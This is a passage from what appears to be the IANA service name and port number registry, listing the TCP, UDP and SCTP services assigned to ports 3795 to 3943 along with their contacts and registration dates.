myblast 3795 udp myBLAST Mekentosj port [Alexander_Griekspoor] [Alexander_Griekspoor] 2003-07
spw-dialer 3796 tcp Spaceway Dialer [Patrick_Fisher] [Patrick_Fisher] 2003-07
spw-dialer 3796 udp Spaceway Dialer [Patrick_Fisher] [Patrick_Fisher] 2003-07
idps 3797 tcp idps [Jean_Francois_Rabass] [Jean_Francois_Rabass] 2003-07
idps 3797 udp idps [Jean_Francois_Rabass] [Jean_Francois_Rabass] 2003-07
minilock 3798 tcp Minilock [Daniel_Julio_Reyes] [Daniel_Julio_Reyes] 2003-08
minilock 3798 udp Minilock [Daniel_Julio_Reyes] [Daniel_Julio_Reyes] 2003-08
radius-dynauth 3799 tcp RADIUS Dynamic Authorization [RFC3576]
radius-dynauth 3799 udp RADIUS Dynamic Authorization [RFC3576]
pwgpsi 3800 tcp Print Services Interface [Harry_Lewis] [Harry_Lewis] 2003-05
pwgpsi 3800 udp Print Services Interface [Harry_Lewis] [Harry_Lewis] 2003-05
ibm-mgr 3801 tcp ibm manager service [Tim_Hahn] [Tim_Hahn] 2006-03
ibm-mgr 3801 udp ibm manager service [Tim_Hahn] [Tim_Hahn] 2006-03
vhd 3802 tcp VHD [Chris_Duncombe] [Chris_Duncombe]
vhd 3802 udp VHD [Chris_Duncombe] [Chris_Duncombe]
soniqsync 3803 tcp SoniqSync [Ryan_Melville] [Ryan_Melville] 2004-01
soniqsync 3803 udp SoniqSync [Ryan_Melville] [Ryan_Melville] 2004-01
iqnet-port 3804 tcp Harman IQNet Port [Bruce_Vander_Werf] [Bruce_Vander_Werf] 2004-02
iqnet-port 3804 udp Harman IQNet Port [Bruce_Vander_Werf] [Bruce_Vander_Werf] 2004-02
tcpdataserver 3805 tcp ThorGuard Server Port [Joel_E_Steiger] [Joel_E_Steiger] 2004-02
tcpdataserver 3805 udp ThorGuard Server Port [Joel_E_Steiger] [Joel_E_Steiger] 2004-02
wsmlb 3806 tcp Remote System Manager [Thomas_Fiege] [Thomas_Fiege] 2004-02
wsmlb 3806 udp Remote System Manager [Thomas_Fiege] [Thomas_Fiege] 2004-02
spugna 3807 tcp SpuGNA Communication Port [Samuele_Sequi] [Samuele_Sequi] 2004-02
spugna 3807 udp SpuGNA Communication Port [Samuele_Sequi] [Samuele_Sequi] 2004-02
sun-as-iiops-ca 3808 tcp Sun App Svr-IIOPClntAuth [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
sun-as-iiops-ca 3808 udp Sun App Svr-IIOPClntAuth [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
apocd 3809 tcp Java Desktop System [Geoff_Higgins] [Geoff_Higgins] 2006-03
Configuration Agent
apocd 3809 udp Java Desktop System [Geoff_Higgins] [Geoff_Higgins] 2006-03
Configuration Agent
wlanauth 3810 tcp WLAN AS server [Bianling_Zhang] [Bianling_Zhang] 2004-02
wlanauth 3810 udp WLAN AS server [Bianling_Zhang] [Bianling_Zhang] 2004-02
amp 3811 tcp AMP [Northon_Rodrigues] [Northon_Rodrigues] 2004-02
amp 3811 udp AMP [Northon_Rodrigues] [Northon_Rodrigues] 2004-02
neto-wol-server 3812 tcp netO WOL Server [Martin_Bestmann_2] [Martin_Bestmann_2] 2004-03
neto-wol-server 3812 udp netO WOL Server [Martin_Bestmann_2] [Martin_Bestmann_2] 2004-03
rap-ip 3813 tcp Rhapsody Interface Protocol [Paul_Zander] [Paul_Zander] 2004-03
rap-ip 3813 udp Rhapsody Interface Protocol [Paul_Zander] [Paul_Zander] 2004-03
neto-dcs 3814 tcp netO DCS [Martin_Bestmann_2] [Martin_Bestmann_2] 2004-03
neto-dcs 3814 udp netO DCS [Martin_Bestmann_2] [Martin_Bestmann_2] 2004-03
lansurveyorxml 3815 tcp LANsurveyor XML [Michael_Swan] [Michael_Swan] 2004-04
lansurveyorxml 3815 udp LANsurveyor XML [Michael_Swan] [Michael_Swan] 2004-04
sunlps-http 3816 tcp Sun Local Patch Server [Barry_Greenberg] [Barry_Greenberg] 2004-04
sunlps-http 3816 udp Sun Local Patch Server [Barry_Greenberg] [Barry_Greenberg] 2004-04
tapeware 3817 tcp Yosemite Tech Tapeware [Luke_Dion] [Luke_Dion] 2004-04
tapeware 3817 udp Yosemite Tech Tapeware [Luke_Dion] [Luke_Dion] 2004-04
crinis-hb 3818 tcp Crinis Heartbeat [Eric_McMurry] [Eric_McMurry] 2004-04
crinis-hb 3818 udp Crinis Heartbeat [Eric_McMurry] [Eric_McMurry] 2004-04
epl-slp 3819 tcp EPL Sequ Layer Protocol [Hans_Weibel] [Hans_Weibel] 2004-10
epl-slp 3819 udp EPL Sequ Layer Protocol [Hans_Weibel] [Hans_Weibel] 2004-10
scp 3820 tcp Siemens AuD SCP [Johann_Arnold] [Johann_Arnold] 2004-10
scp 3820 udp Siemens AuD SCP [Johann_Arnold] [Johann_Arnold] 2004-10
pmcp 3821 tcp ATSC PMCP Standard [Graham_Jones] [Graham_Jones] 2004-11
pmcp 3821 udp ATSC PMCP Standard [Graham_Jones] [Graham_Jones] 2004-11
acp-discovery 3822 tcp Compute Pool Discovery
acp-discovery 3822 udp Compute Pool Discovery
acp-conduit 3823 tcp Compute Pool Conduit
acp-conduit 3823 udp Compute Pool Conduit
acp-policy 3824 tcp Compute Pool Policy [Andy_Belk_2] [Andy_Belk_2] 2005-02
acp-policy 3824 udp Compute Pool Policy [Andy_Belk_2] [Andy_Belk_2] 2005-02
ffserver 3825 tcp Antera FlowFusion Process [Armin_Liebchen] [Armin_Liebchen] 2007-06
Simulation
ffserver 3825 udp Antera FlowFusion Process [Armin_Liebchen] [Armin_Liebchen] 2007-06
Simulation
warmux 3826 tcp WarMUX game server [Christophe_Gisquet] [Christophe_Gisquet] 2011-05-26
warmux 3826 udp WarMUX game server [Christophe_Gisquet] [Christophe_Gisquet] 2011-05-26
netmpi 3827 tcp Netadmin Systems MPI service [G_Runfeldt] [G_Runfeldt] 2007-07-10
netmpi 3827 udp Netadmin Systems MPI service [G_Runfeldt] [G_Runfeldt] 2007-07-10
neteh 3828 tcp Netadmin Systems Event
Handler
neteh 3828 udp Netadmin Systems Event
Handler
neteh-ext 3829 tcp Netadmin Systems Event [Jonas_Krogell] [Jonas_Krogell] 2007-07-10
Handler External
neteh-ext 3829 udp Netadmin Systems Event [Jonas_Krogell] [Jonas_Krogell] 2007-07-10
Handler External
cernsysmgmtagt 3830 tcp Cerner System Management [Mike_Craft] [Mike_Craft] 2008-01-29
Agent
cernsysmgmtagt 3830 udp Cerner System Management [Mike_Craft] [Mike_Craft] 2008-01-29
Agent
dvapps 3831 tcp Docsvault Application [Ketul_Patel] [Ketul_Patel] 2006-10
Service
dvapps 3831 udp Docsvault Application [Ketul_Patel] [Ketul_Patel] 2006-10
Service
xxnetserver 3832 tcp xxNETserver [XXT_LLC] [Matt_Ferrari] 2006-10 2012-07-12
xxnetserver 3832 udp xxNETserver [XXT_LLC] [Matt_Ferrari] 2006-10 2012-07-12
aipn-auth 3833 tcp AIPN LS Authentication [Qiang_Zhang] [Qiang_Zhang] 2006-10
aipn-auth 3833 udp AIPN LS Authentication [Qiang_Zhang] [Qiang_Zhang] 2006-10
spectardata 3834 tcp Spectar Data Stream Service
spectardata 3834 udp Spectar Data Stream Service
spectardb 3835 tcp Spectar Database Rights [Jan_Rutger_Voorhorst] [Jan_Rutger_Voorhorst] 2006-10
Service
spectardb 3835 udp Spectar Database Rights [Jan_Rutger_Voorhorst] [Jan_Rutger_Voorhorst] 2006-10
Service
markem-dcp 3836 tcp MARKEM NEXTGEN DCP
markem-dcp 3836 udp MARKEM NEXTGEN DCP
mkm-discovery 3837 tcp MARKEM Auto-Discovery [Vadym_Kargin] [Vadym_Kargin] 2005-08
mkm-discovery 3837 udp MARKEM Auto-Discovery [Vadym_Kargin] [Vadym_Kargin] 2005-08
sos 3838 tcp Scito Object Server [Arno_Klaassen] [Arno_Klaassen] 2003-11
sos 3838 udp Scito Object Server [Arno_Klaassen] [Arno_Klaassen] 2003-11
amx-rms 3839 tcp AMX Resource Management [Ron_Barber] [Ron_Barber] 2003-11
Suite
amx-rms 3839 udp AMX Resource Management [Ron_Barber] [Ron_Barber] 2003-11
Suite
flirtmitmir 3840 tcp www.FlirtMitMir.de [Carsten_Falticska] [Carsten_Falticska] 2003-11
flirtmitmir 3840 udp www.FlirtMitMir.de [Carsten_Falticska] [Carsten_Falticska] 2003-11
shiprush-db-svr 3841 tcp ShipRush Database Server [Z-Firm_LLC] [Rafael_Zimberoff] 2003-11 2014-08-22
3841 udp Reserved 2003-11 2014-08-22
nhci 3842 tcp NHCI status port [Eric_Welch_2] [Eric_Welch_2] 2003-11
nhci 3842 udp NHCI status port [Eric_Welch_2] [Eric_Welch_2] 2003-11
quest-agent 3843 tcp Quest Common Agent [Peter_Maher] [Peter_Maher] 2003-11
quest-agent 3843 udp Quest Common Agent [Peter_Maher] [Peter_Maher] 2003-11
rnm 3844 tcp RNM [sn_w_of_renegade_lab] [sn_w_of_renegade_lab] 2003-11
rnm 3844 udp RNM [sn_w_of_renegade_lab] [sn_w_of_renegade_lab] 2003-11
v-one-spp 3845 tcp V-ONE Single Port Proxy [Daniel_Becker_3] [Daniel_Becker_3]
v-one-spp 3845 udp V-ONE Single Port Proxy [Daniel_Becker_3] [Daniel_Becker_3]
an-pcp 3846 tcp Astare Network PCP [Tony_Gulino] [Tony_Gulino] 2003-08
an-pcp 3846 udp Astare Network PCP [Tony_Gulino] [Tony_Gulino] 2003-08
msfw-control 3847 tcp MS Firewall Control [Oren_Trutner] [Oren_Trutner] 2003-08
msfw-control 3847 udp MS Firewall Control [Oren_Trutner] [Oren_Trutner] 2003-08
item 3848 tcp IT Environmental Monitor [Keith_Wright] [Keith_Wright] 2003-08
item 3848 udp IT Environmental Monitor [Keith_Wright] [Keith_Wright] 2003-08
spw-dnspreload 3849 tcp SPACEWAY DNS Preload [Daniel_Friedman] [Daniel_Friedman] 2003-08
spw-dnspreload 3849 udp SPACEWAY DNS Prelaod [Daniel_Friedman] [Daniel_Friedman] 2003-08
qtms-bootstrap 3850 tcp QTMS Bootstrap Protocol [Phil_Willis] [Phil_Willis] 2003-08
qtms-bootstrap 3850 udp QTMS Bootstrap Protocol [Phil_Willis] [Phil_Willis] 2003-08
spectraport 3851 tcp SpectraTalk Port [Madhav_Karhade] [Madhav_Karhade] 2003-08
spectraport 3851 udp SpectraTalk Port [Madhav_Karhade] [Madhav_Karhade] 2003-08
sse-app-config 3852 tcp SSE App Configuration [Tim_Wilson] [Tim_Wilson] 2003-08
sse-app-config 3852 udp SSE App Configuration [Tim_Wilson] [Tim_Wilson] 2003-08
sscan 3853 tcp SONY scanning protocol [Takashi_Aihara] [Takashi_Aihara] 2003-08
sscan 3853 udp SONY scanning protocol [Takashi_Aihara] [Takashi_Aihara] 2003-08
stryker-com 3854 tcp Stryker Comm Port [Andrew_Schultz] [Andrew_Schultz] 2003-08
stryker-com 3854 udp Stryker Comm Port [Andrew_Schultz] [Andrew_Schultz] 2003-08
opentrac 3855 tcp OpenTRAC [Scott_Miller] [Scott_Miller] 2003-08
opentrac 3855 udp OpenTRAC [Scott_Miller] [Scott_Miller] 2003-08
informer 3856 tcp INFORMER [Filippo_Fadda] [Filippo_Fadda] 2003-08
informer 3856 udp INFORMER [Filippo_Fadda] [Filippo_Fadda] 2003-08
trap-port 3857 tcp Trap Port [Norm_Freedman] [Norm_Freedman] 2003-08
trap-port 3857 udp Trap Port [Norm_Freedman] [Norm_Freedman] 2003-08
trap-port-mom 3858 tcp Trap Port MOM [Norm_Freedman] [Norm_Freedman] 2003-08
trap-port-mom 3858 udp Trap Port MOM [Norm_Freedman] [Norm_Freedman] 2003-08
nav-port 3859 tcp Navini Port [Chris_Sanders] [Chris_Sanders] 2003-08
nav-port 3859 udp Navini Port [Chris_Sanders] [Chris_Sanders] 2003-08
sasp 3860 tcp Server/Application State [Alan_Bivens] [Alan_Bivens] 2003-08
Protocol (SASP)
sasp 3860 udp Server/Application State [Alan_Bivens] [Alan_Bivens] 2003-08
Protocol (SASP)
winshadow-hd 3861 tcp winShadow Host Discovery [Shu_Wei_Tan] [Shu_Wei_Tan] 2003-03
winshadow-hd 3861 udp winShadow Host Discovery [Shu_Wei_Tan] [Shu_Wei_Tan] 2003-03
giga-pocket 3862 tcp GIGA-POCKET [Yoshikazu_Watanabe] [Yoshikazu_Watanabe]
giga-pocket 3862 udp GIGA-POCKET [Yoshikazu_Watanabe] [Yoshikazu_Watanabe]
asap-tcp 3863 tcp asap tcp port
asap-udp 3863 udp asap udp port [RFC5352]
asap-sctp 3863 sctp asap sctp [RFC5352]
asap-tcp-tls 3864 tcp asap/tls tcp port [RFC5352]
3864 udp Reserved This entry has been removed on 2006-06-23.
asap-sctp-tls 3864 sctp asap-sctp/tls [RFC5352]
xpl 3865 tcp xpl automation protocol [Ian_Lowe] [Ian_Lowe] 2003-08
xpl 3865 udp xpl automation protocol [Ian_Lowe] [Ian_Lowe] 2003-08
dzdaemon 3866 tcp Sun SDViz DZDAEMON Port [Kevin_Rushforth] [Kevin_Rushforth] 2003-08
dzdaemon 3866 udp Sun SDViz DZDAEMON Port [Kevin_Rushforth] [Kevin_Rushforth] 2003-08
dzoglserver 3867 tcp Sun SDViz DZOGLSERVER Port [Kevin_Rushforth] [Kevin_Rushforth] 2003-08
dzoglserver 3867 udp Sun SDViz DZOGLSERVER Port [Kevin_Rushforth] [Kevin_Rushforth] 2003-08
diameter 3868 tcp DIAMETER
3868 udp Reserved
diameter 3868 sctp DIAMETER [RFC3588]
ovsam-mgmt 3869 tcp hp OVSAM MgmtServer Disco [Mike_Pontillo] [Mike_Pontillo] 2003-08
ovsam-mgmt 3869 udp hp OVSAM MgmtServer Disco [Mike_Pontillo] [Mike_Pontillo] 2003-08
ovsam-d-agent 3870 tcp hp OVSAM HostAgent Disco [Mike_Pontillo] [Mike_Pontillo] 2003-08
ovsam-d-agent 3870 udp hp OVSAM HostAgent Disco [Mike_Pontillo] [Mike_Pontillo] 2003-08
avocent-adsap 3871 tcp Avocent DS Authorization [Eduardo_Fernandez] [Eduardo_Fernandez] 2003-08
avocent-adsap 3871 udp Avocent DS Authorization [Eduardo_Fernandez] [Eduardo_Fernandez] 2003-08
oem-agent 3872 tcp OEM Agent [Narain_Jagathesan] [Narain_Jagathesan] 2003-11
oem-agent 3872 udp OEM Agent [Narain_Jagathesan] [Narain_Jagathesan] 2003-11
fagordnc 3873 tcp fagordnc [Luis_Zugasti] [Luis_Zugasti] 2003-11
fagordnc 3873 udp fagordnc [Luis_Zugasti] [Luis_Zugasti] 2003-11
sixxsconfig 3874 tcp SixXS Configuration [Jeroen_Massar] [Jeroen_Massar] 2003-11
sixxsconfig 3874 udp SixXS Configuration [Jeroen_Massar] [Jeroen_Massar] 2003-11
pnbscada 3875 tcp PNBSCADA [Philip_N_Bergstress] [Philip_N_Bergstress]
pnbscada 3875 udp PNBSCADA [Philip_N_Bergstress] [Philip_N_Bergstress]
DirectoryLockdown Agent
dl-agent 3876 tcp IANA assigned this [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
well-formed service name as
a replacement for
"dl_agent".
This entry is an alias to "dl-agent". This entry is now
dl_agent 3876 tcp DirectoryLockdown Agent [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16 historic, not usable for use with many common service
discovery mechanisms.
DirectoryLockdown Agent
dl-agent 3876 udp IANA assigned this [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
well-formed service name as
a replacement for
"dl_agent".
This entry is an alias to "dl-agent". This entry is now
dl_agent 3876 udp DirectoryLockdown Agent [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16 historic, not usable for use with many common service
discovery mechanisms.
xmpcr-interface 3877 tcp XMPCR Interface Port [Christopher_Carlson] [Christopher_Carlson] 2003-10
xmpcr-interface 3877 udp XMPCR Interface Port [Christopher_Carlson] [Christopher_Carlson] 2003-10
fotogcad 3878 tcp FotoG CAD interface [Jason_Szabo] [Jason_Szabo] 2003-10
fotogcad 3878 udp FotoG CAD interface [Jason_Szabo] [Jason_Szabo] 2003-10
appss-lm 3879 tcp appss license manager [Peter_Krueger] [Peter_Krueger] 2003-10
appss-lm 3879 udp appss license manager [Peter_Krueger] [Peter_Krueger] 2003-10
igrs 3880 tcp IGRS [Huang_Jingnan] [Huang_Jingnan] 2003-10
igrs 3880 udp IGRS [Huang_Jingnan] [Huang_Jingnan] 2003-10
idac 3881 tcp Data Acquisition and Control [Chatziandreoglou_Chr] [Chatziandreoglou_Chr] 2003-10
idac 3881 udp Data Acquisition and Control [Chatziandreoglou_Chr] [Chatziandreoglou_Chr] 2003-10
msdts1 3882 tcp DTS Service Port [Sergei_Ivanov] [Sergei_Ivanov] 2003-10
msdts1 3882 udp DTS Service Port [Sergei_Ivanov] [Sergei_Ivanov] 2003-10
vrpn 3883 tcp VR Peripheral Network [Sensics] [Yuval_Boger] 2003-10 2015-05-04
vrpn 3883 udp VR Peripheral Network [Sensics] [Yuval_Boger] 2003-10 2015-05-04
softrack-meter 3884 tcp SofTrack Metering [John_T_McCann] [John_T_McCann] 2003-10
softrack-meter 3884 udp SofTrack Metering [John_T_McCann] [John_T_McCann] 2003-10
topflow-ssl 3885 tcp TopFlow SSL [Ken_Nelson] [Ken_Nelson]
topflow-ssl 3885 udp TopFlow SSL [Ken_Nelson] [Ken_Nelson]
nei-management 3886 tcp NEI management port [Kevin_Murphy_2] [Kevin_Murphy_2] 2003-10
nei-management 3886 udp NEI management port [Kevin_Murphy_2] [Kevin_Murphy_2] 2003-10
ciphire-data 3887 tcp Ciphire Data Transport [Lars_Eilebrecht] [Lars_Eilebrecht] 2003-10
ciphire-data 3887 udp Ciphire Data Transport [Lars_Eilebrecht] [Lars_Eilebrecht] 2003-10
ciphire-serv 3888 tcp Ciphire Services [Lars_Eilebrecht] [Lars_Eilebrecht] 2003-10
ciphire-serv 3888 udp Ciphire Services [Lars_Eilebrecht] [Lars_Eilebrecht] 2003-10
dandv-tester 3889 tcp D and V Tester Control Port [Voiko_Loukanov] [Voiko_Loukanov] 2003-10
dandv-tester 3889 udp D and V Tester Control Port [Voiko_Loukanov] [Voiko_Loukanov] 2003-10
ndsconnect 3890 tcp Niche Data Server Connect [Roland_Schneider] [Roland_Schneider] 2003-10
ndsconnect 3890 udp Niche Data Server Connect [Roland_Schneider] [Roland_Schneider] 2003-10
rtc-pm-port 3891 tcp Oracle RTC-PM port [PV_Shivkumar] [PV_Shivkumar] 2003-10
rtc-pm-port 3891 udp Oracle RTC-PM port [PV_Shivkumar] [PV_Shivkumar] 2003-10
pcc-image-port 3892 tcp PCC-image-port [Shiro_Tamoto] [Shiro_Tamoto] 2003-10
pcc-image-port 3892 udp PCC-image-port [Shiro_Tamoto] [Shiro_Tamoto] 2003-10
cgi-starapi 3893 tcp CGI StarAPI Server [Garry_Moore] [Garry_Moore] 2003-10
cgi-starapi 3893 udp CGI StarAPI Server [Garry_Moore] [Garry_Moore] 2003-10
syam-agent 3894 tcp SyAM Agent Port [Michael_Daniele] [Michael_Daniele] 2003-10
syam-agent 3894 udp SyAM Agent Port [Michael_Daniele] [Michael_Daniele] 2003-10
syam-smc 3895 tcp SyAm SMC Service Port [Michael_Daniele] [Michael_Daniele] 2003-10
syam-smc 3895 udp SyAm SMC Service Port [Michael_Daniele] [Michael_Daniele] 2003-10
sdo-tls 3896 tcp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2003-10
over TLS
sdo-tls 3896 udp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2003-10
over TLS
sdo-ssh 3897 tcp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2003-10
over SSH
sdo-ssh 3897 udp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2003-10
over SSH
senip 3898 tcp IAS, Inc. SmartEye NET [Matt_Nowicki] [Matt_Nowicki] 2003-10
Internet Protocol
senip 3898 udp IAS, Inc. SmartEye NET [Matt_Nowicki] [Matt_Nowicki] 2003-10
Internet Protocol
itv-control 3899 tcp ITV Port [Alex_Nicu] [Alex_Nicu] 2003-10
itv-control 3899 udp ITV Port [Alex_Nicu] [Alex_Nicu] 2003-10
Unidata UDT OS
udt-os 3900 tcp IANA assigned this [James_Powell] [James_Powell]
well-formed service name as
a replacement for "udt_os".
This entry is an alias to "udt-os". This entry is now
udt_os 3900 tcp Unidata UDT OS [James_Powell] [James_Powell] historic, not usable for use with many common service
discovery mechanisms.
Unidata UDT OS
udt-os 3900 udp IANA assigned this [James_Powell] [James_Powell]
well-formed service name as
a replacement for "udt_os".
This entry is an alias to "udt-os". This entry is now
udt_os 3900 udp Unidata UDT OS [James_Powell] [James_Powell] historic, not usable for use with many common service
discovery mechanisms.
nimsh 3901 tcp NIM Service Handler [Paul_B_Finley] [Paul_B_Finley] 2003-10
nimsh 3901 udp NIM Service Handler [Paul_B_Finley] [Paul_B_Finley] 2003-10
nimaux 3902 tcp NIMsh Auxiliary Port [Paul_B_Finley] [Paul_B_Finley] 2003-10
nimaux 3902 udp NIMsh Auxiliary Port [Paul_B_Finley] [Paul_B_Finley] 2003-10
charsetmgr 3903 tcp CharsetMGR [Tatsuya_Ueda] [Tatsuya_Ueda] 2003-10
charsetmgr 3903 udp CharsetMGR [Tatsuya_Ueda] [Tatsuya_Ueda] 2003-10
omnilink-port 3904 tcp Arnet Omnilink Port [Ronen_Shaul] [Ronen_Shaul] 2003-10
omnilink-port 3904 udp Arnet Omnilink Port [Ronen_Shaul] [Ronen_Shaul] 2003-10
mupdate 3905 tcp Mailbox Update (MUPDATE) [RFC3656]
protocol
mupdate 3905 udp Mailbox Update (MUPDATE) [RFC3656]
protocol
topovista-data 3906 tcp TopoVista elevation data [Gregg_Townsend] [Gregg_Townsend] 2003-11
topovista-data 3906 udp TopoVista elevation data [Gregg_Townsend] [Gregg_Townsend] 2003-11
imoguia-port 3907 tcp Imoguia Port [Emidio_Cunha] [Emidio_Cunha] 2003-11
imoguia-port 3907 udp Imoguia Port [Emidio_Cunha] [Emidio_Cunha] 2003-11
hppronetman 3908 tcp HP Procurve NetManagement [Devon_Dawson] [Devon_Dawson] 2003-11
hppronetman 3908 udp HP Procurve NetManagement [Devon_Dawson] [Devon_Dawson] 2003-11
surfcontrolcpa 3909 tcp SurfControl CPA [Hywel_Morgan] [Hywel_Morgan] 2003-11
surfcontrolcpa 3909 udp SurfControl CPA [Hywel_Morgan] [Hywel_Morgan] 2003-11
prnrequest 3910 tcp Printer Request Port [Brett_Green] [Brett_Green] 2003-11
prnrequest 3910 udp Printer Request Port [Brett_Green] [Brett_Green] 2003-11
prnstatus 3911 tcp Printer Status Port [Brett_Green] [Brett_Green] 2003-11
prnstatus 3911 udp Printer Status Port [Brett_Green] [Brett_Green] 2003-11
gbmt-stars 3912 tcp Global Maintech Stars [Harry_Goldschmitt] [Harry_Goldschmitt] 2003-11
gbmt-stars 3912 udp Global Maintech Stars [Harry_Goldschmitt] [Harry_Goldschmitt] 2003-11
listcrt-port 3913 tcp ListCREATOR Port [Tomokazu_Asai] [Tomokazu_Asai] 2003-11
listcrt-port 3913 udp ListCREATOR Port [Tomokazu_Asai] [Tomokazu_Asai] 2003-11
listcrt-port-2 3914 tcp ListCREATOR Port 2 [Tomokazu_Asai] [Tomokazu_Asai] 2003-11
listcrt-port-2 3914 udp ListCREATOR Port 2 [Tomokazu_Asai] [Tomokazu_Asai] 2003-11
agcat 3915 tcp Auto-Graphics Cataloging [Paul_Cope] [Paul_Cope] 2003-11
agcat 3915 udp Auto-Graphics Cataloging [Paul_Cope] [Paul_Cope] 2003-11
wysdmc 3916 tcp WysDM Controller [Jim_McDonald_2] [Jim_McDonald_2] 2003-11
wysdmc 3916 udp WysDM Controller [Jim_McDonald_2] [Jim_McDonald_2] 2003-11
aftmux 3917 tcp AFT multiplex port [Alfred_Schmidt] [Alfred_Schmidt] 2003-11
aftmux 3917 udp AFT multiples port [Alfred_Schmidt] [Alfred_Schmidt] 2003-11
pktcablemmcops 3918 tcp PacketCableMultimediaCOPS [Eric_Rosenfeld] [Eric_Rosenfeld] 2003-11
pktcablemmcops 3918 udp PacketCableMultimediaCOPS [Eric_Rosenfeld] [Eric_Rosenfeld] 2003-11
hyperip 3919 tcp HyperIP [Network_Executive_Software_Inc] [Nancy_Golio] 2003-11 2017-01-25
hyperip 3919 udp HyperIP [Network_Executive_Software_Inc] [Nancy_Golio] 2003-11 2017-01-25
exasoftport1 3920 tcp Exasoft IP Port [Alan_Malik] [Alan_Malik] 2003-11
exasoftport1 3920 udp Exasoft IP Port [Alan_Malik] [Alan_Malik] 2003-11
herodotus-net 3921 tcp Herodotus Net [Adam_Gawne_Cain] [Adam_Gawne_Cain] 2003-11
herodotus-net 3921 udp Herodotus Net [Adam_Gawne_Cain] [Adam_Gawne_Cain] 2003-11
sor-update 3922 tcp Soronti Update Port [Carleton_Watkins] [Carleton_Watkins] 2003-11
sor-update 3922 udp Soronti Update Port [Carleton_Watkins] [Carleton_Watkins] 2003-11
symb-sb-port 3923 tcp Symbian Service Broker [Ian_McDowall] [Ian_McDowall] 2003-11
symb-sb-port 3923 udp Symbian Service Broker [Ian_McDowall] [Ian_McDowall] 2003-11
mpl-gprs-port 3924 tcp MPL_GPRS_PORT [David_Barrass_2] [David_Barrass_2] 2003-11
mpl-gprs-port 3924 udp MPL_GPRS_Port [David_Barrass_2] [David_Barrass_2] 2003-11
zmp 3925 tcp Zoran Media Port [Gerard_Cerchio] [Gerard_Cerchio] 2003-11
zmp 3925 udp Zoran Media Port [Gerard_Cerchio] [Gerard_Cerchio] 2003-11
winport 3926 tcp WINPort [Alwin_Egger] [Alwin_Egger] 2003-11
winport 3926 udp WINPort [Alwin_Egger] [Alwin_Egger] 2003-11
natdataservice 3927 tcp ScsTsr [Ghanshyam_Patel] [Ghanshyam_Patel] 2003-11
natdataservice 3927 udp ScsTsr [Ghanshyam_Patel] [Ghanshyam_Patel] 2003-11
netboot-pxe 3928 tcp PXE NetBoot Manager [Markus_Treinen] [Markus_Treinen] 2003-11
netboot-pxe 3928 udp PXE NetBoot Manager [Markus_Treinen] [Markus_Treinen] 2003-11
smauth-port 3929 tcp AMS Port [Angelique_Dokos] [Angelique_Dokos] 2003-11
smauth-port 3929 udp AMS Port [Angelique_Dokos] [Angelique_Dokos] 2003-11
syam-webserver 3930 tcp Syam Web Server Port [Michael_Daniele] [Michael_Daniele] 2003-11
syam-webserver 3930 udp Syam Web Server Port [Michael_Daniele] [Michael_Daniele] 2003-11
msr-plugin-port 3931 tcp MSR Plugin Port [Ron_Steed] [Ron_Steed] 2003-11
msr-plugin-port 3931 udp MSR Plugin Port [Ron_Steed] [Ron_Steed] 2003-11
dyn-site 3932 tcp Dynamic Site System [Steve_Qi] [Steve_Qi] 2003-11
dyn-site 3932 udp Dynamic Site System [Steve_Qi] [Steve_Qi] 2003-11
plbserve-port 3933 tcp PL/B App Server User Port [Edward_R_Boedecker] [Edward_R_Boedecker] 2003-11
plbserve-port 3933 udp PL/B App Server User Port [Edward_R_Boedecker] [Edward_R_Boedecker] 2003-11
sunfm-port 3934 tcp PL/B File Manager Port [Edward_R_Boedecker] [Edward_R_Boedecker] 2003-11
sunfm-port 3934 udp PL/B File Manager Port [Edward_R_Boedecker] [Edward_R_Boedecker] 2003-11
sdp-portmapper 3935 tcp SDP Port Mapper Protocol [James_Pinkerton] [James_Pinkerton] 2003-11
sdp-portmapper 3935 udp SDP Port Mapper Protocol [James_Pinkerton] [James_Pinkerton] 2003-11
mailprox 3936 tcp Mailprox [Christof_Drescher] [Christof_Drescher] 2003-11
mailprox 3936 udp Mailprox [Christof_Drescher] [Christof_Drescher] 2003-11
dvbservdsc 3937 tcp DVB Service Discovery [Bert_van_Willigen][Peter_MacAvock] [Bert_van_Willigen][Peter_MacAvock] 2003-11
dvbservdsc 3937 udp DVB Service Discovery [Bert_van_Willigen][Peter_MacAvock] [Bert_van_Willigen][Peter_MacAvock] 2003-11
Oracle dbControl Agent po
dbcontrol-agent 3938 tcp IANA assigned this [Todd_Guay] [Todd_Guay] 2003-11
well-formed service name as
a replacement for
"dbcontrol_agent".
This entry is an alias to "dbcontrol-agent". This entry is
dbcontrol_agent 3938 tcp Oracle dbControl Agent po [Todd_Guay] [Todd_Guay] 2003-11 now historic, not usable for use with many common service
discovery mechanisms.
Oracel dbControl Agent po
dbcontrol-agent 3938 udp IANA assigned this [Todd_Guay] [Todd_Guay] 2003-11
well-formed service name as
a replacement for
"dbcontrol_agent".
This entry is an alias to "dbcontrol-agent". This entry is
dbcontrol_agent 3938 udp Oracel dbControl Agent po [Todd_Guay] [Todd_Guay] 2003-11 now historic, not usable for use with many common service
discovery mechanisms.
aamp 3939 tcp Anti-virus Application [In_sik_Choi] [In_sik_Choi] 2002-02
Management Port
aamp 3939 udp Anti-virus Application [In_sik_Choi] [In_sik_Choi] 2002-02
Management Port
xecp-node 3940 tcp XeCP Node Service [Brent_McCullough] [Brent_McCullough] 2003-11
xecp-node 3940 udp XeCP Node Service [Brent_McCullough] [Brent_McCullough] 2003-11
homeportal-web 3941 tcp Home Portal Web Server [Christian_Beaumont] [Christian_Beaumont] 2003-11
homeportal-web 3941 udp Home Portal Web Server [Christian_Beaumont] [Christian_Beaumont] 2003-11
srdp 3942 tcp satellite distribution [Simone_Molendini] [Simone_Molendini] 2003-11
srdp 3942 udp satellite distribution [Simone_Molendini] [Simone_Molendini] 2003-11
tig 3943 tcp TetraNode Ip Gateway [B_van_Klinken] [B_van_Klinken] 2003-12
